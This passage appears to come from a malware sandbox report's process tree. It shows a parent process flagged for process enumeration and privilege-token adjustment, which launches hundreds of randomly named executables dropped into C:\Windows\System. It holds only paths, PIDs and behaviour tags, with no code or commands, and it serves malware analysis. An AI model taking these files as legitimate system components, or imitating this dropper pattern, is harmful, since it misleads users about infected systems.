  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1652
- C:\Windows\System\BqgCjJE.exe
  C:\Windows\System\BqgCjJE.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\RBqzDCc.exe
  C:\Windows\System\RBqzDCc.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\cafIbqX.exe
  C:\Windows\System\cafIbqX.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\IjCdeUo.exe
  C:\Windows\System\IjCdeUo.exe
  2⤵
  - Executes dropped EXE
  PID:2724
- C:\Windows\System\yWiuUdE.exe
  C:\Windows\System\yWiuUdE.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\LkAiqmR.exe
  C:\Windows\System\LkAiqmR.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\qRmZxww.exe
  C:\Windows\System\qRmZxww.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\gCxNHgi.exe
  C:\Windows\System\gCxNHgi.exe
  2⤵
  - Executes dropped EXE
  PID:2376
- C:\Windows\System\ZAuDRXb.exe
  C:\Windows\System\ZAuDRXb.exe
  2⤵
  - Executes dropped EXE
  PID:1456
- C:\Windows\System\irchdaV.exe
  C:\Windows\System\irchdaV.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\JxyQRUm.exe
  C:\Windows\System\JxyQRUm.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\LXUEMdu.exe
  C:\Windows\System\LXUEMdu.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\njpCfmN.exe
  C:\Windows\System\njpCfmN.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\HzxGjyH.exe
  C:\Windows\System\HzxGjyH.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\PCUBTab.exe
  C:\Windows\System\PCUBTab.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\OHiyKdP.exe
  C:\Windows\System\OHiyKdP.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\SMZKDlm.exe
  C:\Windows\System\SMZKDlm.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\BeiSyfc.exe
  C:\Windows\System\BeiSyfc.exe
  2⤵
  - Executes dropped EXE
  PID:240
- C:\Windows\System\bpqynfQ.exe
  C:\Windows\System\bpqynfQ.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\WWmqiBF.exe
  C:\Windows\System\WWmqiBF.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\MHvtdVT.exe
  C:\Windows\System\MHvtdVT.exe
  2⤵
  - Executes dropped EXE
  PID:2104
- C:\Windows\System\ThMBZOq.exe
  C:\Windows\System\ThMBZOq.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\kcSzOCq.exe
  C:\Windows\System\kcSzOCq.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\GUnIXCG.exe
  C:\Windows\System\GUnIXCG.exe
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Windows\System\qUYyktQ.exe
  C:\Windows\System\qUYyktQ.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\NeHMZam.exe
  C:\Windows\System\NeHMZam.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\sEhlgQk.exe
  C:\Windows\System\sEhlgQk.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\uvgmYlf.exe
  C:\Windows\System\uvgmYlf.exe
  2⤵
  - Executes dropped EXE
  PID:632
- C:\Windows\System\KjmSzEi.exe
  C:\Windows\System\KjmSzEi.exe
  2⤵
  - Executes dropped EXE
  PID:844
- C:\Windows\System\PlYyzHu.exe
  C:\Windows\System\PlYyzHu.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\htzOprm.exe
  C:\Windows\System\htzOprm.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\UcxsxqY.exe
  C:\Windows\System\UcxsxqY.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\LtZlBXa.exe
  C:\Windows\System\LtZlBXa.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\HyQmMHS.exe
  C:\Windows\System\HyQmMHS.exe
  2⤵
  - Executes dropped EXE
  PID:1356
- C:\Windows\System\olyGPKJ.exe
  C:\Windows\System\olyGPKJ.exe
  2⤵
  - Executes dropped EXE
  PID:940
- C:\Windows\System\GnQCiuP.exe
  C:\Windows\System\GnQCiuP.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\htXQfyT.exe
  C:\Windows\System\htXQfyT.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\eAurNTD.exe
  C:\Windows\System\eAurNTD.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\CzinlLL.exe
  C:\Windows\System\CzinlLL.exe
  2⤵
  - Executes dropped EXE
  PID:564
- C:\Windows\System\AjRWrKi.exe
  C:\Windows\System\AjRWrKi.exe
  2⤵
  - Executes dropped EXE
  PID:1252
- C:\Windows\System\GstYNnM.exe
  C:\Windows\System\GstYNnM.exe
  2⤵
  - Executes dropped EXE
  PID:1404
- C:\Windows\System\yexAmAk.exe
  C:\Windows\System\yexAmAk.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\QUSmOuU.exe
  C:\Windows\System\QUSmOuU.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\bpOTkHC.exe
  C:\Windows\System\bpOTkHC.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Windows\System\zKKAxOu.exe
  C:\Windows\System\zKKAxOu.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\zhUGAic.exe
  C:\Windows\System\zhUGAic.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\HccHAgn.exe
  C:\Windows\System\HccHAgn.exe
  2⤵
  - Executes dropped EXE
  PID:1344
- C:\Windows\System\mEZkHWM.exe
  C:\Windows\System\mEZkHWM.exe
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Windows\System\usgnJtI.exe
  C:\Windows\System\usgnJtI.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\AKDrrxK.exe
  C:\Windows\System\AKDrrxK.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\SsyyYxr.exe
  C:\Windows\System\SsyyYxr.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\VTDGsTQ.exe
  C:\Windows\System\VTDGsTQ.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\vDrunNa.exe
  C:\Windows\System\vDrunNa.exe
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Windows\System\vtffJlc.exe
  C:\Windows\System\vtffJlc.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\lqRJUHl.exe
  C:\Windows\System\lqRJUHl.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\SLHXXBr.exe
  C:\Windows\System\SLHXXBr.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\flrlzLA.exe
  C:\Windows\System\flrlzLA.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\wsOJTxx.exe
  C:\Windows\System\wsOJTxx.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\zWEszTx.exe
  C:\Windows\System\zWEszTx.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\eXHePPp.exe
  C:\Windows\System\eXHePPp.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\GlPqRxs.exe
  C:\Windows\System\GlPqRxs.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\JyiWhpq.exe
  C:\Windows\System\JyiWhpq.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\uulFyJJ.exe
  C:\Windows\System\uulFyJJ.exe
  2⤵
  - Executes dropped EXE
  PID:296
- C:\Windows\System\kVTVOiC.exe
  C:\Windows\System\kVTVOiC.exe
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Windows\System\BHnAgXB.exe
  C:\Windows\System\BHnAgXB.exe
  2⤵
  PID:2688
- C:\Windows\System\ftWFtLC.exe
  C:\Windows\System\ftWFtLC.exe
  2⤵
  PID:2240
- C:\Windows\System\DPhwItp.exe
  C:\Windows\System\DPhwItp.exe
  2⤵
  PID:2436
- C:\Windows\System\DhoWdzp.exe
  C:\Windows\System\DhoWdzp.exe
  2⤵
  PID:2884
- C:\Windows\System\caEoWaY.exe
  C:\Windows\System\caEoWaY.exe
  2⤵
  PID:2024
- C:\Windows\System\UNQjnKu.exe
  C:\Windows\System\UNQjnKu.exe
  2⤵
  PID:1884
- C:\Windows\System\MXvjnoR.exe
  C:\Windows\System\MXvjnoR.exe
  2⤵
  PID:1484
- C:\Windows\System\YsUOlBv.exe
  C:\Windows\System\YsUOlBv.exe
  2⤵
  PID:2080
- C:\Windows\System\cPeuApG.exe
  C:\Windows\System\cPeuApG.exe
  2⤵
  PID:672
- C:\Windows\System\hQaMjJy.exe
  C:\Windows\System\hQaMjJy.exe
  2⤵
  PID:1492
- C:\Windows\System\kkamOKn.exe
  C:\Windows\System\kkamOKn.exe
  2⤵
  PID:1104
- C:\Windows\System\mNxAgSF.exe
  C:\Windows\System\mNxAgSF.exe
  2⤵
  PID:2196
- C:\Windows\System\hULaMFK.exe
  C:\Windows\System\hULaMFK.exe
  2⤵
  PID:1096
- C:\Windows\System\sKVfoJJ.exe
  C:\Windows\System\sKVfoJJ.exe
  2⤵
  PID:1332
- C:\Windows\System\opwqcck.exe
  C:\Windows\System\opwqcck.exe
  2⤵
  PID:2092
- C:\Windows\System\IchnicU.exe
  C:\Windows\System\IchnicU.exe
  2⤵
  PID:1824
- C:\Windows\System\nkTprWM.exe
  C:\Windows\System\nkTprWM.exe
  2⤵
  PID:896
- C:\Windows\System\qOfJpkx.exe
  C:\Windows\System\qOfJpkx.exe
  2⤵
  PID:1156
- C:\Windows\System\XLrcAbb.exe
  C:\Windows\System\XLrcAbb.exe
  2⤵
  PID:2848
- C:\Windows\System\upoWCSd.exe
  C:\Windows\System\upoWCSd.exe
  2⤵
  PID:1968
- C:\Windows\System\gCQLTFt.exe
  C:\Windows\System\gCQLTFt.exe
  2⤵
  PID:840
- C:\Windows\System\rxjDZpH.exe
  C:\Windows\System\rxjDZpH.exe
  2⤵
  PID:2916
- C:\Windows\System\bnnTAHZ.exe
  C:\Windows\System\bnnTAHZ.exe
  2⤵
  PID:3028
- C:\Windows\System\RpzuiDm.exe
  C:\Windows\System\RpzuiDm.exe
  2⤵
  PID:2472
- C:\Windows\System\GDnrPnu.exe
  C:\Windows\System\GDnrPnu.exe
  2⤵
  PID:1056
- C:\Windows\System\cPLVZPk.exe
  C:\Windows\System\cPLVZPk.exe
  2⤵
  PID:824
- C:\Windows\System\YQrNfnq.exe
  C:\Windows\System\YQrNfnq.exe
  2⤵
  PID:2696
- C:\Windows\System\LRVTYUY.exe
  C:\Windows\System\LRVTYUY.exe
  2⤵
  PID:2520
- C:\Windows\System\XDRvRcH.exe
  C:\Windows\System\XDRvRcH.exe
  2⤵
  PID:1204
- C:\Windows\System\tUQBszZ.exe
  C:\Windows\System\tUQBszZ.exe
  2⤵
  PID:2500
- C:\Windows\System\jOOrtNx.exe
  C:\Windows\System\jOOrtNx.exe
  2⤵
  PID:2528
- C:\Windows\System\NUMxtwA.exe
  C:\Windows\System\NUMxtwA.exe
  2⤵
  PID:1832
- C:\Windows\System\HGnLahD.exe
  C:\Windows\System\HGnLahD.exe
  2⤵
  PID:2612
- C:\Windows\System\tHkTWih.exe
  C:\Windows\System\tHkTWih.exe
  2⤵
  PID:2764
- C:\Windows\System\zLUVRyA.exe
  C:\Windows\System\zLUVRyA.exe
  2⤵
  PID:2264
- C:\Windows\System\HZlyVzU.exe
  C:\Windows\System\HZlyVzU.exe
  2⤵
  PID:588
- C:\Windows\System\dsrsgbe.exe
  C:\Windows\System\dsrsgbe.exe
  2⤵
  PID:1812
- C:\Windows\System\RlpDdEI.exe
  C:\Windows\System\RlpDdEI.exe
  2⤵
  PID:1560
- C:\Windows\System\cUNmJSq.exe
  C:\Windows\System\cUNmJSq.exe
  2⤵
  PID:1296
- C:\Windows\System\nCMrFOs.exe
  C:\Windows\System\nCMrFOs.exe
  2⤵
  PID:1792
- C:\Windows\System\tRKkpAu.exe
  C:\Windows\System\tRKkpAu.exe
  2⤵
  PID:1724
- C:\Windows\System\GlBBWjs.exe
  C:\Windows\System\GlBBWjs.exe
  2⤵
  PID:944
- C:\Windows\System\COQWyoY.exe
  C:\Windows\System\COQWyoY.exe
  2⤵
  PID:1972
- C:\Windows\System\slNAWEr.exe
  C:\Windows\System\slNAWEr.exe
  2⤵
  PID:1232
- C:\Windows\System\JocDPsZ.exe
  C:\Windows\System\JocDPsZ.exe
  2⤵
  PID:2184
- C:\Windows\System\NJlgzQb.exe
  C:\Windows\System\NJlgzQb.exe
  2⤵
  PID:1748
- C:\Windows\System\LzsbZoA.exe
  C:\Windows\System\LzsbZoA.exe
  2⤵
  PID:2524
- C:\Windows\System\ihirFyY.exe
  C:\Windows\System\ihirFyY.exe
  2⤵
  PID:2952
- C:\Windows\System\RMJghLW.exe
  C:\Windows\System\RMJghLW.exe
  2⤵
  PID:2728
- C:\Windows\System\wDoymYB.exe
  C:\Windows\System\wDoymYB.exe
  2⤵
  PID:2716
- C:\Windows\System\tAzYxHE.exe
  C:\Windows\System\tAzYxHE.exe
  2⤵
  PID:1200
- C:\Windows\System\NDYYDRU.exe
  C:\Windows\System\NDYYDRU.exe
  2⤵
  PID:2672
- C:\Windows\System\IcuKwpb.exe
  C:\Windows\System\IcuKwpb.exe
  2⤵
  PID:2052
- C:\Windows\System\KBJDoGB.exe
  C:\Windows\System\KBJDoGB.exe
  2⤵
  PID:2616
- C:\Windows\System\MTDhnrS.exe
  C:\Windows\System\MTDhnrS.exe
  2⤵
  PID:2456
- C:\Windows\System\Nuzcqoo.exe
  C:\Windows\System\Nuzcqoo.exe
  2⤵
  PID:1816
- C:\Windows\System\TuTuTdv.exe
  C:\Windows\System\TuTuTdv.exe
  2⤵
  PID:1392
- C:\Windows\System\hYEIiCO.exe
  C:\Windows\System\hYEIiCO.exe
  2⤵
  PID:1240
- C:\Windows\System\ItgGJPO.exe
  C:\Windows\System\ItgGJPO.exe
  2⤵
  PID:2408
- C:\Windows\System\kbKgsgE.exe
  C:\Windows\System\kbKgsgE.exe
  2⤵
  PID:548
- C:\Windows\System\XiueIfS.exe
  C:\Windows\System\XiueIfS.exe
  2⤵
  PID:1592
- C:\Windows\System\sjLJfwY.exe
  C:\Windows\System\sjLJfwY.exe
  2⤵
  PID:568
- C:\Windows\System\aRbtCYM.exe
  C:\Windows\System\aRbtCYM.exe
  2⤵
  PID:2296
- C:\Windows\System\SlcQkpV.exe
  C:\Windows\System\SlcQkpV.exe
  2⤵
  PID:1960
- C:\Windows\System\vIAElma.exe
  C:\Windows\System\vIAElma.exe
  2⤵
  PID:2424
- C:\Windows\System\QryGvwW.exe
  C:\Windows\System\QryGvwW.exe
  2⤵
  PID:2844
- C:\Windows\System\hKrDHDi.exe
  C:\Windows\System\hKrDHDi.exe
  2⤵
  PID:1664
- C:\Windows\System\LALlXur.exe
  C:\Windows\System\LALlXur.exe
  2⤵
  PID:2852
- C:\Windows\System\SEBuRXl.exe
  C:\Windows\System\SEBuRXl.exe
  2⤵
  PID:1624
- C:\Windows\System\JXnuKUK.exe
  C:\Windows\System\JXnuKUK.exe
  2⤵
  PID:1536
- C:\Windows\System\KuPDQPS.exe
  C:\Windows\System\KuPDQPS.exe
  2⤵
  PID:488
- C:\Windows\System\PwnqvTB.exe
  C:\Windows\System\PwnqvTB.exe
  2⤵
  PID:2636
- C:\Windows\System\PzEHymu.exe
  C:\Windows\System\PzEHymu.exe
  2⤵
  PID:2576
- C:\Windows\System\HTdLOFG.exe
  C:\Windows\System\HTdLOFG.exe
  2⤵
  PID:1804
- C:\Windows\System\buCcJZX.exe
  C:\Windows\System\buCcJZX.exe
  2⤵
  PID:2444
- C:\Windows\System\TfBuQnQ.exe
  C:\Windows\System\TfBuQnQ.exe
  2⤵
  PID:3000
- C:\Windows\System\KPZdqmu.exe
  C:\Windows\System\KPZdqmu.exe
  2⤵
  PID:2532
- C:\Windows\System\WJDpEze.exe
  C:\Windows\System\WJDpEze.exe
  2⤵
  PID:2756
- C:\Windows\System\fwXJxNN.exe
  C:\Windows\System\fwXJxNN.exe
  2⤵
  PID:924
- C:\Windows\System\eZoMOYk.exe
  C:\Windows\System\eZoMOYk.exe
  2⤵
  PID:2056
- C:\Windows\System\JYCFXBj.exe
  C:\Windows\System\JYCFXBj.exe
  2⤵
  PID:2804
- C:\Windows\System\ioQIltR.exe
  C:\Windows\System\ioQIltR.exe
  2⤵
  PID:1964
- C:\Windows\System\XYtHRgF.exe
  C:\Windows\System\XYtHRgF.exe
  2⤵
  PID:1052
- C:\Windows\System\QNEkptO.exe
  C:\Windows\System\QNEkptO.exe
  2⤵
  PID:1160
- C:\Windows\System\jLiVyVt.exe
  C:\Windows\System\jLiVyVt.exe
  2⤵
  PID:876
- C:\Windows\System\lqjmXXx.exe
  C:\Windows\System\lqjmXXx.exe
  2⤵
  PID:1424
- C:\Windows\System\OKKIhuk.exe
  C:\Windows\System\OKKIhuk.exe
  2⤵
  PID:2652
- C:\Windows\System\jhgHCBM.exe
  C:\Windows\System\jhgHCBM.exe
  2⤵
  PID:2660
- C:\Windows\System\HGMZlsj.exe
  C:\Windows\System\HGMZlsj.exe
  2⤵
  PID:2504
- C:\Windows\System\aDIqrYR.exe
  C:\Windows\System\aDIqrYR.exe
  2⤵
  PID:2836
- C:\Windows\System\jqylETG.exe
  C:\Windows\System\jqylETG.exe
  2⤵
  PID:2784
- C:\Windows\System\VMRKbMx.exe
  C:\Windows\System\VMRKbMx.exe
  2⤵
  PID:3040
- C:\Windows\System\miJQAIC.exe
  C:\Windows\System\miJQAIC.exe
  2⤵
  PID:2816
- C:\Windows\System\JvGVPOh.exe
  C:\Windows\System\JvGVPOh.exe
  2⤵
  PID:1764
- C:\Windows\System\lpjWEWf.exe
  C:\Windows\System\lpjWEWf.exe
  2⤵
  PID:2604
- C:\Windows\System\ATrOObq.exe
  C:\Windows\System\ATrOObq.exe
  2⤵
  PID:888
- C:\Windows\System\jUjdaql.exe
  C:\Windows\System\jUjdaql.exe
  2⤵
  PID:1684
- C:\Windows\System\FrsZhRa.exe
  C:\Windows\System\FrsZhRa.exe
  2⤵
  PID:2440
- C:\Windows\System\NYvpVQN.exe
  C:\Windows\System\NYvpVQN.exe
  2⤵
  PID:1148
- C:\Windows\System\NkrEHLt.exe
  C:\Windows\System\NkrEHLt.exe
  2⤵
  PID:2192
- C:\Windows\System\YtCzyEa.exe
  C:\Windows\System\YtCzyEa.exe
  2⤵
  PID:2760
- C:\Windows\System\AvaYZHU.exe
  C:\Windows\System\AvaYZHU.exe
  2⤵
  PID:1308
- C:\Windows\System\nRRLEMl.exe
  C:\Windows\System\nRRLEMl.exe
  2⤵
  PID:3088
- C:\Windows\System\yjHvMKn.exe
  C:\Windows\System\yjHvMKn.exe
  2⤵
  PID:3104
- C:\Windows\System\iTpKdLj.exe
  C:\Windows\System\iTpKdLj.exe
  2⤵
  PID:3120
- C:\Windows\System\KUhVkoj.exe
  C:\Windows\System\KUhVkoj.exe
  2⤵
  PID:3136
- C:\Windows\System\OrjGTYS.exe
  C:\Windows\System\OrjGTYS.exe
  2⤵
  PID:3216
- C:\Windows\System\FiuSSnc.exe
  C:\Windows\System\FiuSSnc.exe
  2⤵
  PID:3236
- C:\Windows\System\ppOLeLJ.exe
  C:\Windows\System\ppOLeLJ.exe
  2⤵
  PID:3252
- C:\Windows\System\zTcbAOm.exe
  C:\Windows\System\zTcbAOm.exe
  2⤵
  PID:3268
- C:\Windows\System\EyJcFzN.exe
  C:\Windows\System\EyJcFzN.exe
  2⤵
  PID:3288
- C:\Windows\System\NAqKsqj.exe
  C:\Windows\System\NAqKsqj.exe
  2⤵
  PID:3304
- C:\Windows\System\ylzPQcR.exe
  C:\Windows\System\ylzPQcR.exe
  2⤵
  PID:3324
- C:\Windows\System\vmlwfvi.exe
  C:\Windows\System\vmlwfvi.exe
  2⤵
  PID:3340
- C:\Windows\System\gSBWonb.exe
  C:\Windows\System\gSBWonb.exe
  2⤵
  PID:3356
- C:\Windows\System\hnvcGCR.exe
  C:\Windows\System\hnvcGCR.exe
  2⤵
  PID:3372
- C:\Windows\System\JBmdmRu.exe
  C:\Windows\System\JBmdmRu.exe
  2⤵
  PID:3388
- C:\Windows\System\GXFhelW.exe
  C:\Windows\System\GXFhelW.exe
  2⤵
  PID:3404
- C:\Windows\System\dEHfedb.exe
  C:\Windows\System\dEHfedb.exe
  2⤵
  PID:3424
- C:\Windows\System\OrgFWVL.exe
  C:\Windows\System\OrgFWVL.exe
  2⤵
  PID:3440
- C:\Windows\System\JoWJPpi.exe
  C:\Windows\System\JoWJPpi.exe
  2⤵
  PID:3456
- C:\Windows\System\sjmrKDV.exe
  C:\Windows\System\sjmrKDV.exe
  2⤵
  PID:3472
- C:\Windows\System\heQkwMR.exe
  C:\Windows\System\heQkwMR.exe
  2⤵
  PID:3488
- C:\Windows\System\TMSEBAL.exe
  C:\Windows\System\TMSEBAL.exe
  2⤵
  PID:3504
- C:\Windows\System\aLdDQKW.exe
  C:\Windows\System\aLdDQKW.exe
  2⤵
  PID:3524
- C:\Windows\System\cgiusix.exe
  C:\Windows\System\cgiusix.exe
  2⤵
  PID:3540
- C:\Windows\System\LTYDEKO.exe
  C:\Windows\System\LTYDEKO.exe
  2⤵
  PID:3556
- C:\Windows\System\bnlbXoG.exe
  C:\Windows\System\bnlbXoG.exe
  2⤵
  PID:3572
- C:\Windows\System\SGzOxxH.exe
  C:\Windows\System\SGzOxxH.exe
  2⤵
  PID:3604
- C:\Windows\System\UdaDLSB.exe
  C:\Windows\System\UdaDLSB.exe
  2⤵
  PID:3620
- C:\Windows\System\LAmKWHo.exe
  C:\Windows\System\LAmKWHo.exe
  2⤵
  PID:3636
- C:\Windows\System\nvNmxWc.exe
  C:\Windows\System\nvNmxWc.exe
  2⤵
  PID:3652
- C:\Windows\System\CpvnBYM.exe
  C:\Windows\System\CpvnBYM.exe
  2⤵
  PID:3668
- C:\Windows\System\TZPylxa.exe
  C:\Windows\System\TZPylxa.exe
  2⤵
  PID:3684
- C:\Windows\System\mmoQNcT.exe
  C:\Windows\System\mmoQNcT.exe
  2⤵
  PID:3700
- C:\Windows\System\NnOqzhu.exe
  C:\Windows\System\NnOqzhu.exe
  2⤵
  PID:3812
- C:\Windows\System\EDcxHNd.exe
  C:\Windows\System\EDcxHNd.exe
  2⤵
  PID:3836
- C:\Windows\System\ABndzGM.exe
  C:\Windows\System\ABndzGM.exe
  2⤵
  PID:3852
- C:\Windows\System\eCmukRs.exe
  C:\Windows\System\eCmukRs.exe
  2⤵
  PID:3868
- C:\Windows\System\GuMJOBn.exe
  C:\Windows\System\GuMJOBn.exe
  2⤵
  PID:3884
- C:\Windows\System\qFkIlHP.exe
  C:\Windows\System\qFkIlHP.exe
  2⤵
  PID:3900
- C:\Windows\System\lYMyfYQ.exe
  C:\Windows\System\lYMyfYQ.exe
  2⤵
  PID:3916
- C:\Windows\System\mUDlIlr.exe
  C:\Windows\System\mUDlIlr.exe
  2⤵
  PID:3932
- C:\Windows\System\jQGJcNh.exe
  C:\Windows\System\jQGJcNh.exe
  2⤵
  PID:3952
- C:\Windows\System\AJMXyXt.exe
  C:\Windows\System\AJMXyXt.exe
  2⤵
  PID:3968
- C:\Windows\System\ltRybbT.exe
  C:\Windows\System\ltRybbT.exe
  2⤵
  PID:3984
- C:\Windows\System\REqggSl.exe
  C:\Windows\System\REqggSl.exe
  2⤵
  PID:4000
- C:\Windows\System\zdqXfIe.exe
  C:\Windows\System\zdqXfIe.exe
  2⤵
  PID:4016
- C:\Windows\System\OafWHmH.exe
  C:\Windows\System\OafWHmH.exe
  2⤵
  PID:4032
- C:\Windows\System\UDamZMa.exe
  C:\Windows\System\UDamZMa.exe
  2⤵
  PID:4048
- C:\Windows\System\fuHieML.exe
  C:\Windows\System\fuHieML.exe
  2⤵
  PID:4064
- C:\Windows\System\AzwEvbM.exe
  C:\Windows\System\AzwEvbM.exe
  2⤵
  PID:2508
- C:\Windows\System\xjspSwx.exe
  C:\Windows\System\xjspSwx.exe
  2⤵
  PID:1604
- C:\Windows\System\PBIeZlj.exe
  C:\Windows\System\PBIeZlj.exe
  2⤵
  PID:360
- C:\Windows\System\xfocGMT.exe
  C:\Windows\System\xfocGMT.exe
  2⤵
  PID:3080
- C:\Windows\System\FfWihMG.exe
  C:\Windows\System\FfWihMG.exe
  2⤵
  PID:3084
- C:\Windows\System\twAIxRH.exe
  C:\Windows\System\twAIxRH.exe
  2⤵
  PID:3224
- C:\Windows\System\hHKyiDo.exe
  C:\Windows\System\hHKyiDo.exe
  2⤵
  PID:3164
- C:\Windows\System\FQWjixd.exe
  C:\Windows\System\FQWjixd.exe
  2⤵
  PID:3184
- C:\Windows\System\rVyXIvD.exe
  C:\Windows\System\rVyXIvD.exe
  2⤵
  PID:3260
- C:\Windows\System\cSVSiCy.exe
  C:\Windows\System\cSVSiCy.exe
  2⤵
  PID:3244
- C:\Windows\System\ZtESSBG.exe
  C:\Windows\System\ZtESSBG.exe
  2⤵
  PID:3312
- C:\Windows\System\aPdHdlB.exe
  C:\Windows\System\aPdHdlB.exe
  2⤵
  PID:3332
- C:\Windows\System\pkMDZJn.exe
  C:\Windows\System\pkMDZJn.exe
  2⤵
  PID:3400
- C:\Windows\System\GOeqluV.exe
  C:\Windows\System\GOeqluV.exe
  2⤵
  PID:3500
- C:\Windows\System\lSmrPao.exe
  C:\Windows\System\lSmrPao.exe
  2⤵
  PID:1768
- C:\Windows\System\fDYlqRI.exe
  C:\Windows\System\fDYlqRI.exe
  2⤵
  PID:3416
- C:\Windows\System\wjPfAql.exe
  C:\Windows\System\wjPfAql.exe
  2⤵
  PID:3484
- C:\Windows\System\bKyJwKF.exe
  C:\Windows\System\bKyJwKF.exe
  2⤵
  PID:3552
- C:\Windows\System\hVmOzkQ.exe
  C:\Windows\System\hVmOzkQ.exe
  2⤵
  PID:3680
- C:\Windows\System\melhtwL.exe
  C:\Windows\System\melhtwL.exe
  2⤵
  PID:3720
- C:\Windows\System\woFaShJ.exe
  C:\Windows\System\woFaShJ.exe
  2⤵
  PID:3744
- C:\Windows\System\VUZSdOg.exe
  C:\Windows\System\VUZSdOg.exe
  2⤵
  PID:3760
- C:\Windows\System\zdyEEyG.exe
  C:\Windows\System\zdyEEyG.exe
  2⤵
  PID:3580
- C:\Windows\System\eSlMAov.exe
  C:\Windows\System\eSlMAov.exe
  2⤵
  PID:2288
- C:\Windows\System\MWspJbP.exe
  C:\Windows\System\MWspJbP.exe
  2⤵
  PID:3792
- C:\Windows\System\sSgELHz.exe
  C:\Windows\System\sSgELHz.exe
  2⤵
  PID:3632
- C:\Windows\System\WEbupbx.exe
  C:\Windows\System\WEbupbx.exe
  2⤵
  PID:3804
- C:\Windows\System\irKcjmz.exe
  C:\Windows\System\irKcjmz.exe
  2⤵
  PID:3860
- C:\Windows\System\DEFeYWh.exe
  C:\Windows\System\DEFeYWh.exe
  2⤵
  PID:3924
- C:\Windows\System\RAGwVab.exe
  C:\Windows\System\RAGwVab.exe
  2⤵
  PID:3940
- C:\Windows\System\LsPNDjk.exe
  C:\Windows\System\LsPNDjk.exe
  2⤵
  PID:4056
- C:\Windows\System\qGFSsOs.exe
  C:\Windows\System\qGFSsOs.exe
  2⤵
  PID:3844
- C:\Windows\System\HCIugBk.exe
  C:\Windows\System\HCIugBk.exe
  2⤵
  PID:3912
- C:\Windows\System\rjCSVcC.exe
  C:\Windows\System\rjCSVcC.exe
  2⤵
  PID:4008
- C:\Windows\System\LhpBAhH.exe
  C:\Windows\System\LhpBAhH.exe
  2⤵
  PID:4076
- C:\Windows\System\geFVJBW.exe
  C:\Windows\System\geFVJBW.exe
  2⤵
  PID:2120
- C:\Windows\System\zNJtEjq.exe
  C:\Windows\System\zNJtEjq.exe
  2⤵
  PID:3100
- C:\Windows\System\AGpiNGw.exe
  C:\Windows\System\AGpiNGw.exe
  2⤵
  PID:2492
- C:\Windows\System\VPnNtnX.exe
  C:\Windows\System\VPnNtnX.exe
  2⤵
  PID:3060
- C:\Windows\System\qLKrGnw.exe
  C:\Windows\System\qLKrGnw.exe
  2⤵
  PID:3148
- C:\Windows\System\DIelAUB.exe
  C:\Windows\System\DIelAUB.exe
  2⤵
  PID:3176
- C:\Windows\System\mMMxIup.exe
  C:\Windows\System\mMMxIup.exe
  2⤵
  PID:3180
- C:\Windows\System\PouksIF.exe
  C:\Windows\System\PouksIF.exe
  2⤵
  PID:2152
- C:\Windows\System\LZpdnfs.exe
  C:\Windows\System\LZpdnfs.exe
  2⤵
  PID:3316
- C:\Windows\System\NjgAWSe.exe
  C:\Windows\System\NjgAWSe.exe
  2⤵
  PID:3368
- C:\Windows\System\eEFUTfe.exe
  C:\Windows\System\eEFUTfe.exe
  2⤵
  PID:3568
